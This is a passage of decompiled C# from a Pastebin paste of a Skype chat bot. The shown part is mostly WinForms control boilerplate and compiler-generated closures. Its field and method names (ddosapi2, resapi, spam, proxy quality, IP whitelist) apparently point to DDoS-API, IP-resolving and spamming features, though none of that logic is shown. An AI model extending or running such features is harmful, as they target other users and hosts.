Guest User

Form1

a guest
Aug 2nd, 2015
1,583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 272.91 KB | None | 0 0
  1. using ChatterBotAPI;
  2. using Microsoft.VisualBasic;
  3. using Microsoft.VisualBasic.CompilerServices;
  4. using SKYPE4COMLib;
  5. using SkypeBot.My;
  6. using System;
  7. using System.Collections;
  8. using System.Collections.Generic;
  9. using System.ComponentModel;
  10. using System.Diagnostics;
  11. using System.Drawing;
  12. using System.IO;
  13. using System.Linq;
  14. using System.Net;
  15. using System.Net.Mail;
  16. using System.Net.Sockets;
  17. using System.Runtime.CompilerServices;
  18. using System.Runtime.InteropServices;
  19. using System.Security.Cryptography;
  20. using System.Text;
  21. using System.Text.RegularExpressions;
  22. using System.Threading;
  23. using System.Windows.Forms;
  24. namespace SkypeBot
  25. {
  26.     [DesignerGenerated, OptionText]
  27.     public class Form1 : Form
  28.     {
  29.         [OptionText]
  30.         public enum proxyq
  31.         {
  32.             highqualityproxy = 3,
  33.             anonymousproxy = 2,
  34.             transparentproxy = 1
  35.         }
  36.         [OptionText, CompilerGenerated]
  37.         internal class _Closure$__1
  38.         {
  39.             [OptionText, CompilerGenerated]
  40.             internal class _Closure$__2
  41.             {
  42.                 public string[] $VB$Local_b;
  43.                 public Form1._Closure$__1 $VB$NonLocal_$VB$Closure_ClosureVariable_1;
  44.                 [DebuggerNonUserCode]
  45.                 public _Closure$__2()
  46.                 {
  47.                 }
  48.                 [DebuggerNonUserCode]
  49.                 public _Closure$__2(Form1._Closure$__1._Closure$__2 other)
  50.                 {
  51.                     bool flag = other != null;
  52.                     if (flag)
  53.                     {
  54.                         this.$VB$Local_b = other.$VB$Local_b;
  55.                     }
  56.                 }
  57.                 [CompilerGenerated]
  58.                 public void _Lambda$__3()
  59.                 {
  60.                     this.$VB$NonLocal_$VB$Closure_ClosureVariable_1.$VB$Local_msg.Chat.SendMessage(Conversions.ToString(this.$VB$NonLocal_$VB$Closure_ClosureVariable_1.$VB$Me.youtube(this.$VB$Local_b[checked(this.$VB$Local_b.Length - 1)])));
  61.                 }
  62.             }
  63.             public ChatMessage $VB$Local_msg;
  64.             public Form1 $VB$Me;
  65.             [DebuggerNonUserCode]
  66.             public _Closure$__1()
  67.             {
  68.             }
  69.             [DebuggerNonUserCode]
  70.             public _Closure$__1(Form1._Closure$__1 other)
  71.             {
  72.                 bool flag = other != null;
  73.                 if (flag)
  74.                 {
  75.                     this.$VB$Local_msg = other.$VB$Local_msg;
  76.                     this.$VB$Me = other.$VB$Me;
  77.                 }
  78.             }
  79.             [CompilerGenerated]
  80.             public void _Lambda$__4()
  81.             {
  82.                 this.$VB$Me.AI1(this.$VB$Local_msg);
  83.             }
  84.             [CompilerGenerated]
  85.             public void _Lambda$__5()
  86.             {
  87.                 this.$VB$Me.AI2(this.$VB$Local_msg);
  88.             }
  89.             [CompilerGenerated]
  90.             public void _Lambda$__6()
  91.             {
  92.                 this.$VB$Me.processcommand(this.$VB$Local_msg);
  93.             }
  94.         }
  95.         [OptionText, CompilerGenerated]
  96.         internal class _Closure$__3
  97.         {
  98.             public ChatMessage $VB$Local_msg;
  99.             public Form1 $VB$Me;
  100.             [DebuggerNonUserCode]
  101.             public _Closure$__3(Form1._Closure$__3 other)
  102.             {
  103.                 bool flag = other != null;
  104.                 if (flag)
  105.                 {
  106.                     this.$VB$Local_msg = other.$VB$Local_msg;
  107.                     this.$VB$Me = other.$VB$Me;
  108.                 }
  109.             }
  110.             [DebuggerNonUserCode]
  111.             public _Closure$__3()
  112.             {
  113.             }
  114.             [CompilerGenerated]
  115.             public void _Lambda$__7()
  116.             {
  117.                 this.$VB$Me.spam(this.$VB$Local_msg);
  118.             }
  119.         }
  120.         private static List<WeakReference> __ENCList = new List<WeakReference>();
  121.         private IContainer components;
  122.         [AccessedThroughProperty("FormSkin1")]
  123.         private FormSkin _FormSkin1;
  124.         [AccessedThroughProperty("Button10")]
  125.         private FlatButton _Button10;
  126.         [AccessedThroughProperty("NFI")]
  127.         private NotifyIcon _NFI;
  128.         [AccessedThroughProperty("FlatContextMenuStrip1")]
  129.         private FlatContextMenuStrip _FlatContextMenuStrip1;
  130.         [AccessedThroughProperty("ShowHideToolStripMenuItem1")]
  131.         private ToolStripMenuItem _ShowHideToolStripMenuItem1;
  132.         [AccessedThroughProperty("ExitToolStripMenuItem1")]
  133.         private ToolStripMenuItem _ExitToolStripMenuItem1;
  134.         [AccessedThroughProperty("FlatButton1")]
  135.         private FlatButton _FlatButton1;
  136.         [AccessedThroughProperty("FlatLabel1")]
  137.         private FlatLabel _FlatLabel1;
  138.         [AccessedThroughProperty("FlatTabControl1")]
  139.         private FlatTabControl _FlatTabControl1;
  140.         [AccessedThroughProperty("Settings")]
  141.         private TabPage _Settings;
  142.         [AccessedThroughProperty("FlatLabel3")]
  143.         private FlatLabel _FlatLabel3;
  144.         [AccessedThroughProperty("Button9")]
  145.         private FlatButton _Button9;
  146.         [AccessedThroughProperty("Button7")]
  147.         private FlatButton _Button7;
  148.         [AccessedThroughProperty("Button6")]
  149.         private FlatButton _Button6;
  150.         [AccessedThroughProperty("GroupBox1")]
  151.         private FlatGroupBox _GroupBox1;
  152.         [AccessedThroughProperty("Button4")]
  153.         private FlatButton _Button4;
  154.         [AccessedThroughProperty("Button2")]
  155.         private FlatButton _Button2;
  156.         [AccessedThroughProperty("Button1")]
  157.         private FlatButton _Button1;
  158.         [AccessedThroughProperty("TextBox1")]
  159.         private TextBox _TextBox1;
  160.         [AccessedThroughProperty("FlatGroupBox1")]
  161.         private FlatGroupBox _FlatGroupBox1;
  162.         [AccessedThroughProperty("TextBox2")]
  163.         private FlatTextBox _TextBox2;
  164.         [AccessedThroughProperty("Button3")]
  165.         private FlatButton _Button3;
  166.         [AccessedThroughProperty("Log")]
  167.         private TabPage _Log;
  168.         [AccessedThroughProperty("Admins")]
  169.         private TabPage _Admins;
  170.         [AccessedThroughProperty("IPWhitelist")]
  171.         private TabPage _IPWhitelist;
  172.         [AccessedThroughProperty("Button15")]
  173.         private FlatButton _Button15;
  174.         [AccessedThroughProperty("TextBox7")]
  175.         private FlatTextBox _TextBox7;
  176.         [AccessedThroughProperty("TabPage1")]
  177.         private TabPage _TabPage1;
  178.         [AccessedThroughProperty("FlatLabel5")]
  179.         private FlatLabel _FlatLabel5;
  180.         [AccessedThroughProperty("FlatTextBox1")]
  181.         private FlatTextBox _FlatTextBox1;
  182.         [AccessedThroughProperty("FlatLabel4")]
  183.         private FlatLabel _FlatLabel4;
  184.         [AccessedThroughProperty("FlatToggle2")]
  185.         private FlatToggle _FlatToggle2;
  186.         [AccessedThroughProperty("FlatToggle1")]
  187.         private FlatToggle _FlatToggle1;
  188.         [AccessedThroughProperty("FlatButton2")]
  189.         private FlatButton _FlatButton2;
  190.         [AccessedThroughProperty("FlatTextBox2")]
  191.         private FlatTextBox _FlatTextBox2;
  192.         [AccessedThroughProperty("FlatLabel6")]
  193.         private FlatLabel _FlatLabel6;
  194.         [AccessedThroughProperty("FlatLabel7")]
  195.         private FlatLabel _FlatLabel7;
  196.         [AccessedThroughProperty("FlatLabel8")]
  197.         private FlatLabel _FlatLabel8;
  198.         [AccessedThroughProperty("FlatLabel2")]
  199.         private FlatLabel _FlatLabel2;
  200.         [AccessedThroughProperty("FlatLabel14")]
  201.         private FlatLabel _FlatLabel14;
  202.         [AccessedThroughProperty("CheckBox6")]
  203.         private CheckBox _CheckBox6;
  204.         [AccessedThroughProperty("FlatLabel15")]
  205.         private FlatLabel _FlatLabel15;
  206.         [AccessedThroughProperty("CheckBox1")]
  207.         private CheckBox _CheckBox1;
  208.         [AccessedThroughProperty("FlatLabel9")]
  209.         private FlatLabel _FlatLabel9;
  210.         [AccessedThroughProperty("FlatGroupBox2")]
  211.         private FlatGroupBox _FlatGroupBox2;
  212.         [AccessedThroughProperty("Button5")]
  213.         private FlatButton _Button5;
  214.         [AccessedThroughProperty("TextBox3")]
  215.         private FlatTextBox _TextBox3;
  216.         [AccessedThroughProperty("FlatNumeric1")]
  217.         private NumericUpDown _FlatNumeric1;
  218.         [AccessedThroughProperty("FlatButton3")]
  219.         private FlatButton _FlatButton3;
  220.         [AccessedThroughProperty("Panel1")]
  221.         private Panel _Panel1;
  222.         [AccessedThroughProperty("FlatLabel17")]
  223.         private FlatLabel _FlatLabel17;
  224.         [AccessedThroughProperty("FlatLabel16")]
  225.         private FlatLabel _FlatLabel16;
  226.         [AccessedThroughProperty("FlatLabel10")]
  227.         private FlatLabel _FlatLabel10;
  228.         [AccessedThroughProperty("Button13")]
  229.         private FlatButton _Button13;
  230.         [AccessedThroughProperty("TextBox5")]
  231.         private FlatTextBox _TextBox5;
  232.         [AccessedThroughProperty("FlatLabel11")]
  233.         private FlatLabel _FlatLabel11;
  234.         [AccessedThroughProperty("Button12")]
  235.         private FlatButton _Button12;
  236.         [AccessedThroughProperty("TextBox4")]
  237.         private FlatTextBox _TextBox4;
  238.         [AccessedThroughProperty("FlatLabel18")]
  239.         private FlatLabel _FlatLabel18;
  240.         [AccessedThroughProperty("FlatLabel12")]
  241.         private FlatLabel _FlatLabel12;
  242.         [AccessedThroughProperty("Button14")]
  243.         private FlatButton _Button14;
  244.         [AccessedThroughProperty("TextBox6")]
  245.         private FlatTextBox _TextBox6;
  246.         [AccessedThroughProperty("FlatButton4")]
  247.         private FlatButton _FlatButton4;
  248.         [AccessedThroughProperty("TabPage2")]
  249.         private TabPage _TabPage2;
  250.         [AccessedThroughProperty("FlatLabel22")]
  251.         private FlatLabel _FlatLabel22;
  252.         [AccessedThroughProperty("FlatTextBox6")]
  253.         private FlatTextBox _FlatTextBox6;
  254.         [AccessedThroughProperty("FlatLabel21")]
  255.         private FlatLabel _FlatLabel21;
  256.         [AccessedThroughProperty("FlatTextBox5")]
  257.         private FlatTextBox _FlatTextBox5;
  258.         [AccessedThroughProperty("FlatLabel20")]
  259.         private FlatLabel _FlatLabel20;
  260.         [AccessedThroughProperty("FlatTextBox4")]
  261.         private FlatTextBox _FlatTextBox4;
  262.         [AccessedThroughProperty("FlatLabel19")]
  263.         private FlatLabel _FlatLabel19;
  264.         [AccessedThroughProperty("FlatLabel13")]
  265.         private FlatLabel _FlatLabel13;
  266.         [AccessedThroughProperty("FlatTextBox3")]
  267.         private FlatTextBox _FlatTextBox3;
  268.         [AccessedThroughProperty("FlatLabel23")]
  269.         private FlatLabel _FlatLabel23;
  270.         [AccessedThroughProperty("FlatButton8")]
  271.         private FlatButton _FlatButton8;
  272.         [AccessedThroughProperty("FlatButton7")]
  273.         private FlatButton _FlatButton7;
  274.         [AccessedThroughProperty("FlatButton6")]
  275.         private FlatButton _FlatButton6;
  276.         [AccessedThroughProperty("FlatButton5")]
  277.         private FlatButton _FlatButton5;
  278.         [AccessedThroughProperty("ListBox1")]
  279.         private ListBox _ListBox1;
  280.         [AccessedThroughProperty("WebBrowser1")]
  281.         private WebBrowser _WebBrowser1;
  282.         public const string version = "5.1.0.7";
  283.         public int state;
  284.         public bool launched;
  285.         private string banmsg;
  286.         public string api;
  287.         public string ddosapi2;
  288.         private ChatterBotFactory factory;
  289.         private ChatterBot AIb;
  290.         private ChatterBotSession AISession;
  291.         private bool adminst;
  292.         private string resapi;
  293.         private string resapi2;
  294.         private string cacheapi;
  295.         private int lockst;
  296.         private object Evaluator1;
  297.         private bool swag;
  298.         public Skype Skypattach;
  299.         private string trigger;
  300.         internal virtual FormSkin FormSkin1
  301.         {
  302.             [DebuggerNonUserCode]
  303.             get
  304.             {
  305.                 return this._FormSkin1;
  306.             }
  307.             [DebuggerNonUserCode]
  308.             [MethodImpl(MethodImplOptions.Synchronized)]
  309.             set
  310.             {
  311.                 this._FormSkin1 = value;
  312.             }
  313.         }
  314.         internal virtual FlatButton Button10
  315.         {
  316.             [DebuggerNonUserCode]
  317.             get
  318.             {
  319.                 return this._Button10;
  320.             }
  321.             [DebuggerNonUserCode]
  322.             [MethodImpl(MethodImplOptions.Synchronized)]
  323.             set
  324.             {
  325.                 EventHandler value2 = new EventHandler(this.Button10_Click);
  326.                 bool flag = this._Button10 != null;
  327.                 if (flag)
  328.                 {
  329.                     this._Button10.Click -= value2;
  330.                 }
  331.                 this._Button10 = value;
  332.                 flag = (this._Button10 != null);
  333.                 if (flag)
  334.                 {
  335.                     this._Button10.Click += value2;
  336.                 }
  337.             }
  338.         }
  339.         internal virtual NotifyIcon NFI
  340.         {
  341.             [DebuggerNonUserCode]
  342.             get
  343.             {
  344.                 return this._NFI;
  345.             }
  346.             [DebuggerNonUserCode]
  347.             [MethodImpl(MethodImplOptions.Synchronized)]
  348.             set
  349.             {
  350.                 this._NFI = value;
  351.             }
  352.         }
  353.         internal virtual FlatContextMenuStrip FlatContextMenuStrip1
  354.         {
  355.             [DebuggerNonUserCode]
  356.             get
  357.             {
  358.                 return this._FlatContextMenuStrip1;
  359.             }
  360.             [DebuggerNonUserCode]
  361.             [MethodImpl(MethodImplOptions.Synchronized)]
  362.             set
  363.             {
  364.                 this._FlatContextMenuStrip1 = value;
  365.             }
  366.         }
  367.         internal virtual ToolStripMenuItem ShowHideToolStripMenuItem1
  368.         {
  369.             [DebuggerNonUserCode]
  370.             get
  371.             {
  372.                 return this._ShowHideToolStripMenuItem1;
  373.             }
  374.             [DebuggerNonUserCode]
  375.             [MethodImpl(MethodImplOptions.Synchronized)]
  376.             set
  377.             {
  378.                 EventHandler value2 = new EventHandler(this.ShowHideToolStripMenuItem1_Click);
  379.                 bool flag = this._ShowHideToolStripMenuItem1 != null;
  380.                 if (flag)
  381.                 {
  382.                     this._ShowHideToolStripMenuItem1.Click -= value2;
  383.                 }
  384.                 this._ShowHideToolStripMenuItem1 = value;
  385.                 flag = (this._ShowHideToolStripMenuItem1 != null);
  386.                 if (flag)
  387.                 {
  388.                     this._ShowHideToolStripMenuItem1.Click += value2;
  389.                 }
  390.             }
  391.         }
  392.         internal virtual ToolStripMenuItem ExitToolStripMenuItem1
  393.         {
  394.             [DebuggerNonUserCode]
  395.             get
  396.             {
  397.                 return this._ExitToolStripMenuItem1;
  398.             }
  399.             [DebuggerNonUserCode]
  400.             [MethodImpl(MethodImplOptions.Synchronized)]
  401.             set
  402.             {
  403.                 EventHandler value2 = new EventHandler(this.ExitToolStripMenuItem1_Click);
  404.                 bool flag = this._ExitToolStripMenuItem1 != null;
  405.                 if (flag)
  406.                 {
  407.                     this._ExitToolStripMenuItem1.Click -= value2;
  408.                 }
  409.                 this._ExitToolStripMenuItem1 = value;
  410.                 flag = (this._ExitToolStripMenuItem1 != null);
  411.                 if (flag)
  412.                 {
  413.                     this._ExitToolStripMenuItem1.Click += value2;
  414.                 }
  415.             }
  416.         }
  417.         internal virtual FlatButton FlatButton1
  418.         {
  419.             [DebuggerNonUserCode]
  420.             get
  421.             {
  422.                 return this._FlatButton1;
  423.             }
  424.             [DebuggerNonUserCode]
  425.             [MethodImpl(MethodImplOptions.Synchronized)]
  426.             set
  427.             {
  428.                 EventHandler value2 = new EventHandler(this.FlatButton1_Click);
  429.                 bool flag = this._FlatButton1 != null;
  430.                 if (flag)
  431.                 {
  432.                     this._FlatButton1.Click -= value2;
  433.                 }
  434.                 this._FlatButton1 = value;
  435.                 flag = (this._FlatButton1 != null);
  436.                 if (flag)
  437.                 {
  438.                     this._FlatButton1.Click += value2;
  439.                 }
  440.             }
  441.         }
  442.         internal virtual FlatLabel FlatLabel1
  443.         {
  444.             [DebuggerNonUserCode]
  445.             get
  446.             {
  447.                 return this._FlatLabel1;
  448.             }
  449.             [DebuggerNonUserCode]
  450.             [MethodImpl(MethodImplOptions.Synchronized)]
  451.             set
  452.             {
  453.                 this._FlatLabel1 = value;
  454.             }
  455.         }
  456.         internal virtual FlatTabControl FlatTabControl1
  457.         {
  458.             [DebuggerNonUserCode]
  459.             get
  460.             {
  461.                 return this._FlatTabControl1;
  462.             }
  463.             [DebuggerNonUserCode]
  464.             [MethodImpl(MethodImplOptions.Synchronized)]
  465.             set
  466.             {
  467.                 this._FlatTabControl1 = value;
  468.             }
  469.         }
  470.         internal virtual TabPage Settings
  471.         {
  472.             [DebuggerNonUserCode]
  473.             get
  474.             {
  475.                 return this._Settings;
  476.             }
  477.             [DebuggerNonUserCode]
  478.             [MethodImpl(MethodImplOptions.Synchronized)]
  479.             set
  480.             {
  481.                 this._Settings = value;
  482.             }
  483.         }
  484.         internal virtual FlatLabel FlatLabel3
  485.         {
  486.             [DebuggerNonUserCode]
  487.             get
  488.             {
  489.                 return this._FlatLabel3;
  490.             }
  491.             [DebuggerNonUserCode]
  492.             [MethodImpl(MethodImplOptions.Synchronized)]
  493.             set
  494.             {
  495.                 this._FlatLabel3 = value;
  496.             }
  497.         }
  498.         internal virtual FlatButton Button9
  499.         {
  500.             [DebuggerNonUserCode]
  501.             get
  502.             {
  503.                 return this._Button9;
  504.             }
  505.             [DebuggerNonUserCode]
  506.             [MethodImpl(MethodImplOptions.Synchronized)]
  507.             set
  508.             {
  509.                 EventHandler value2 = new EventHandler(this.Button9_Click);
  510.                 bool flag = this._Button9 != null;
  511.                 if (flag)
  512.                 {
  513.                     this._Button9.Click -= value2;
  514.                 }
  515.                 this._Button9 = value;
  516.                 flag = (this._Button9 != null);
  517.                 if (flag)
  518.                 {
  519.                     this._Button9.Click += value2;
  520.                 }
  521.             }
  522.         }
  523.         internal virtual FlatButton Button7
  524.         {
  525.             [DebuggerNonUserCode]
  526.             get
  527.             {
  528.                 return this._Button7;
  529.             }
  530.             [DebuggerNonUserCode]
  531.             [MethodImpl(MethodImplOptions.Synchronized)]
  532.             set
  533.             {
  534.                 EventHandler value2 = new EventHandler(this.Button7_Click);
  535.                 bool flag = this._Button7 != null;
  536.                 if (flag)
  537.                 {
  538.                     this._Button7.Click -= value2;
  539.                 }
  540.                 this._Button7 = value;
  541.                 flag = (this._Button7 != null);
  542.                 if (flag)
  543.                 {
  544.                     this._Button7.Click += value2;
  545.                 }
  546.             }
  547.         }
  548.         internal virtual FlatButton Button6
  549.         {
  550.             [DebuggerNonUserCode]
  551.             get
  552.             {
  553.                 return this._Button6;
  554.             }
  555.             [DebuggerNonUserCode]
  556.             [MethodImpl(MethodImplOptions.Synchronized)]
  557.             set
  558.             {
  559.                 EventHandler value2 = new EventHandler(this.Button6_Click);
  560.                 bool flag = this._Button6 != null;
  561.                 if (flag)
  562.                 {
  563.                     this._Button6.Click -= value2;
  564.                 }
  565.                 this._Button6 = value;
  566.                 flag = (this._Button6 != null);
  567.                 if (flag)
  568.                 {
  569.                     this._Button6.Click += value2;
  570.                 }
  571.             }
  572.         }
  573.         internal virtual FlatGroupBox GroupBox1
  574.         {
  575.             [DebuggerNonUserCode]
  576.             get
  577.             {
  578.                 return this._GroupBox1;
  579.             }
  580.             [DebuggerNonUserCode]
  581.             [MethodImpl(MethodImplOptions.Synchronized)]
  582.             set
  583.             {
  584.                 this._GroupBox1 = value;
  585.             }
  586.         }
  587.         internal virtual FlatButton Button4
  588.         {
  589.             [DebuggerNonUserCode]
  590.             get
  591.             {
  592.                 return this._Button4;
  593.             }
  594.             [DebuggerNonUserCode]
  595.             [MethodImpl(MethodImplOptions.Synchronized)]
  596.             set
  597.             {
  598.                 EventHandler value2 = new EventHandler(this.Button4_Click);
  599.                 bool flag = this._Button4 != null;
  600.                 if (flag)
  601.                 {
  602.                     this._Button4.Click -= value2;
  603.                 }
  604.                 this._Button4 = value;
  605.                 flag = (this._Button4 != null);
  606.                 if (flag)
  607.                 {
  608.                     this._Button4.Click += value2;
  609.                 }
  610.             }
  611.         }
  612.         internal virtual FlatButton Button2
  613.         {
  614.             [DebuggerNonUserCode]
  615.             get
  616.             {
  617.                 return this._Button2;
  618.             }
  619.             [DebuggerNonUserCode]
  620.             [MethodImpl(MethodImplOptions.Synchronized)]
  621.             set
  622.             {
  623.                 EventHandler value2 = new EventHandler(this.Button2_Click);
  624.                 bool flag = this._Button2 != null;
  625.                 if (flag)
  626.                 {
  627.                     this._Button2.Click -= value2;
  628.                 }
  629.                 this._Button2 = value;
  630.                 flag = (this._Button2 != null);
  631.                 if (flag)
  632.                 {
  633.                     this._Button2.Click += value2;
  634.                 }
  635.             }
  636.         }
  637.         internal virtual FlatButton Button1
  638.         {
  639.             [DebuggerNonUserCode]
  640.             get
  641.             {
  642.                 return this._Button1;
  643.             }
  644.             [DebuggerNonUserCode]
  645.             [MethodImpl(MethodImplOptions.Synchronized)]
  646.             set
  647.             {
  648.                 EventHandler value2 = new EventHandler(this.Button1_Click);
  649.                 bool flag = this._Button1 != null;
  650.                 if (flag)
  651.                 {
  652.                     this._Button1.Click -= value2;
  653.                 }
  654.                 this._Button1 = value;
  655.                 flag = (this._Button1 != null);
  656.                 if (flag)
  657.                 {
  658.                     this._Button1.Click += value2;
  659.                 }
  660.             }
  661.         }
  662.         internal virtual TextBox TextBox1
  663.         {
  664.             [DebuggerNonUserCode]
  665.             get
  666.             {
  667.                 return this._TextBox1;
  668.             }
  669.             [DebuggerNonUserCode]
  670.             [MethodImpl(MethodImplOptions.Synchronized)]
  671.             set
  672.             {
  673.                 this._TextBox1 = value;
  674.             }
  675.         }
  676.         internal virtual FlatGroupBox FlatGroupBox1
  677.         {
  678.             [DebuggerNonUserCode]
  679.             get
  680.             {
  681.                 return this._FlatGroupBox1;
  682.             }
  683.             [DebuggerNonUserCode]
  684.             [MethodImpl(MethodImplOptions.Synchronized)]
  685.             set
  686.             {
  687.                 this._FlatGroupBox1 = value;
  688.             }
  689.         }
  690.         internal virtual FlatTextBox TextBox2
  691.         {
  692.             [DebuggerNonUserCode]
  693.             get
  694.             {
  695.                 return this._TextBox2;
  696.             }
  697.             [DebuggerNonUserCode]
  698.             [MethodImpl(MethodImplOptions.Synchronized)]
  699.             set
  700.             {
  701.                 this._TextBox2 = value;
  702.             }
  703.         }
  704.         internal virtual FlatButton Button3
  705.         {
  706.             [DebuggerNonUserCode]
  707.             get
  708.             {
  709.                 return this._Button3;
  710.             }
  711.             [DebuggerNonUserCode]
  712.             [MethodImpl(MethodImplOptions.Synchronized)]
  713.             set
  714.             {
  715.                 EventHandler value2 = new EventHandler(this.Button3_Click);
  716.                 bool flag = this._Button3 != null;
  717.                 if (flag)
  718.                 {
  719.                     this._Button3.Click -= value2;
  720.                 }
  721.                 this._Button3 = value;
  722.                 flag = (this._Button3 != null);
  723.                 if (flag)
  724.                 {
  725.                     this._Button3.Click += value2;
  726.                 }
  727.             }
  728.         }
  729.         internal virtual TabPage Log
  730.         {
  731.             [DebuggerNonUserCode]
  732.             get
  733.             {
  734.                 return this._Log;
  735.             }
  736.             [DebuggerNonUserCode]
  737.             [MethodImpl(MethodImplOptions.Synchronized)]
  738.             set
  739.             {
  740.                 this._Log = value;
  741.             }
  742.         }
  743.         internal virtual TabPage Admins
  744.         {
  745.             [DebuggerNonUserCode]
  746.             get
  747.             {
  748.                 return this._Admins;
  749.             }
  750.             [DebuggerNonUserCode]
  751.             [MethodImpl(MethodImplOptions.Synchronized)]
  752.             set
  753.             {
  754.                 this._Admins = value;
  755.             }
  756.         }
  757.         internal virtual TabPage IPWhitelist
  758.         {
  759.             [DebuggerNonUserCode]
  760.             get
  761.             {
  762.                 return this._IPWhitelist;
  763.             }
  764.             [DebuggerNonUserCode]
  765.             [MethodImpl(MethodImplOptions.Synchronized)]
  766.             set
  767.             {
  768.                 this._IPWhitelist = value;
  769.             }
  770.         }
  771.         internal virtual FlatButton Button15
  772.         {
  773.             [DebuggerNonUserCode]
  774.             get
  775.             {
  776.                 return this._Button15;
  777.             }
  778.             [DebuggerNonUserCode]
  779.             [MethodImpl(MethodImplOptions.Synchronized)]
  780.             set
  781.             {
  782.                 EventHandler value2 = new EventHandler(this.Button15_Click);
  783.                 bool flag = this._Button15 != null;
  784.                 if (flag)
  785.                 {
  786.                     this._Button15.Click -= value2;
  787.                 }
  788.                 this._Button15 = value;
  789.                 flag = (this._Button15 != null);
  790.                 if (flag)
  791.                 {
  792.                     this._Button15.Click += value2;
  793.                 }
  794.             }
  795.         }
  796.         internal virtual FlatTextBox TextBox7
  797.         {
  798.             [DebuggerNonUserCode]
  799.             get
  800.             {
  801.                 return this._TextBox7;
  802.             }
  803.             [DebuggerNonUserCode]
  804.             [MethodImpl(MethodImplOptions.Synchronized)]
  805.             set
  806.             {
  807.                 EventHandler value2 = new EventHandler(this.TextBox7_TextChanged);
  808.                 bool flag = this._TextBox7 != null;
  809.                 if (flag)
  810.                 {
  811.                     this._TextBox7.TextChanged -= value2;
  812.                 }
  813.                 this._TextBox7 = value;
  814.                 flag = (this._TextBox7 != null);
  815.                 if (flag)
  816.                 {
  817.                     this._TextBox7.TextChanged += value2;
  818.                 }
  819.             }
  820.         }
  821.         internal virtual TabPage TabPage1
  822.         {
  823.             [DebuggerNonUserCode]
  824.             get
  825.             {
  826.                 return this._TabPage1;
  827.             }
  828.             [DebuggerNonUserCode]
  829.             [MethodImpl(MethodImplOptions.Synchronized)]
  830.             set
  831.             {
  832.                 this._TabPage1 = value;
  833.             }
  834.         }
  835.         internal virtual FlatLabel FlatLabel5
  836.         {
  837.             [DebuggerNonUserCode]
  838.             get
  839.             {
  840.                 return this._FlatLabel5;
  841.             }
  842.             [DebuggerNonUserCode]
  843.             [MethodImpl(MethodImplOptions.Synchronized)]
  844.             set
  845.             {
  846.                 this._FlatLabel5 = value;
  847.             }
  848.         }
  849.         internal virtual FlatTextBox FlatTextBox1
  850.         {
  851.             [DebuggerNonUserCode]
  852.             get
  853.             {
  854.                 return this._FlatTextBox1;
  855.             }
  856.             [DebuggerNonUserCode]
  857.             [MethodImpl(MethodImplOptions.Synchronized)]
  858.             set
  859.             {
  860.                 this._FlatTextBox1 = value;
  861.             }
  862.         }
  863.         internal virtual FlatLabel FlatLabel4
  864.         {
  865.             [DebuggerNonUserCode]
  866.             get
  867.             {
  868.                 return this._FlatLabel4;
  869.             }
  870.             [DebuggerNonUserCode]
  871.             [MethodImpl(MethodImplOptions.Synchronized)]
  872.             set
  873.             {
  874.                 this._FlatLabel4 = value;
  875.             }
  876.         }
  877.         internal virtual FlatToggle FlatToggle2
  878.         {
  879.             [DebuggerNonUserCode]
  880.             get
  881.             {
  882.                 return this._FlatToggle2;
  883.             }
  884.             [DebuggerNonUserCode]
  885.             [MethodImpl(MethodImplOptions.Synchronized)]
  886.             set
  887.             {
  888.                 FlatToggle.CheckedChangedEventHandler obj = new FlatToggle.CheckedChangedEventHandler(this.FlatToggle2_CheckedChanged);
  889.                 bool flag = this._FlatToggle2 != null;
  890.                 if (flag)
  891.                 {
  892.                     this._FlatToggle2.CheckedChanged -= obj;
  893.                 }
  894.                 this._FlatToggle2 = value;
  895.                 flag = (this._FlatToggle2 != null);
  896.                 if (flag)
  897.                 {
  898.                     this._FlatToggle2.CheckedChanged += obj;
  899.                 }
  900.             }
  901.         }
  902.         internal virtual FlatToggle FlatToggle1
  903.         {
  904.             [DebuggerNonUserCode]
  905.             get
  906.             {
  907.                 return this._FlatToggle1;
  908.             }
  909.             [DebuggerNonUserCode]
  910.             [MethodImpl(MethodImplOptions.Synchronized)]
  911.             set
  912.             {
  913.                 this._FlatToggle1 = value;
  914.             }
  915.         }
  916.         internal virtual FlatButton FlatButton2
  917.         {
  918.             [DebuggerNonUserCode]
  919.             get
  920.             {
  921.                 return this._FlatButton2;
  922.             }
  923.             [DebuggerNonUserCode]
  924.             [MethodImpl(MethodImplOptions.Synchronized)]
  925.             set
  926.             {
  927.                 EventHandler value2 = new EventHandler(this.FlatButton2_Click);
  928.                 bool flag = this._FlatButton2 != null;
  929.                 if (flag)
  930.                 {
  931.                     this._FlatButton2.Click -= value2;
  932.                 }
  933.                 this._FlatButton2 = value;
  934.                 flag = (this._FlatButton2 != null);
  935.                 if (flag)
  936.                 {
  937.                     this._FlatButton2.Click += value2;
  938.                 }
  939.             }
  940.         }
  941.         internal virtual FlatTextBox FlatTextBox2
  942.         {
  943.             [DebuggerNonUserCode]
  944.             get
  945.             {
  946.                 return this._FlatTextBox2;
  947.             }
  948.             [DebuggerNonUserCode]
  949.             [MethodImpl(MethodImplOptions.Synchronized)]
  950.             set
  951.             {
  952.                 this._FlatTextBox2 = value;
  953.             }
  954.         }
  955.         internal virtual FlatLabel FlatLabel6
  956.         {
  957.             [DebuggerNonUserCode]
  958.             get
  959.             {
  960.                 return this._FlatLabel6;
  961.             }
  962.             [DebuggerNonUserCode]
  963.             [MethodImpl(MethodImplOptions.Synchronized)]
  964.             set
  965.             {
  966.                 this._FlatLabel6 = value;
  967.             }
  968.         }
  969.         internal virtual FlatLabel FlatLabel7
  970.         {
  971.             [DebuggerNonUserCode]
  972.             get
  973.             {
  974.                 return this._FlatLabel7;
  975.             }
  976.             [DebuggerNonUserCode]
  977.             [MethodImpl(MethodImplOptions.Synchronized)]
  978.             set
  979.             {
  980.                 this._FlatLabel7 = value;
  981.             }
  982.         }
  983.         internal virtual FlatLabel FlatLabel8
  984.         {
  985.             [DebuggerNonUserCode]
  986.             get
  987.             {
  988.                 return this._FlatLabel8;
  989.             }
  990.             [DebuggerNonUserCode]
  991.             [MethodImpl(MethodImplOptions.Synchronized)]
  992.             set
  993.             {
  994.                 this._FlatLabel8 = value;
  995.             }
  996.         }
  997.         internal virtual FlatLabel FlatLabel2
  998.         {
  999.             [DebuggerNonUserCode]
  1000.             get
  1001.             {
  1002.                 return this._FlatLabel2;
  1003.             }
  1004.             [DebuggerNonUserCode]
  1005.             [MethodImpl(MethodImplOptions.Synchronized)]
  1006.             set
  1007.             {
  1008.                 this._FlatLabel2 = value;
  1009.             }
  1010.         }
  1011.         internal virtual FlatLabel FlatLabel14
  1012.         {
  1013.             [DebuggerNonUserCode]
  1014.             get
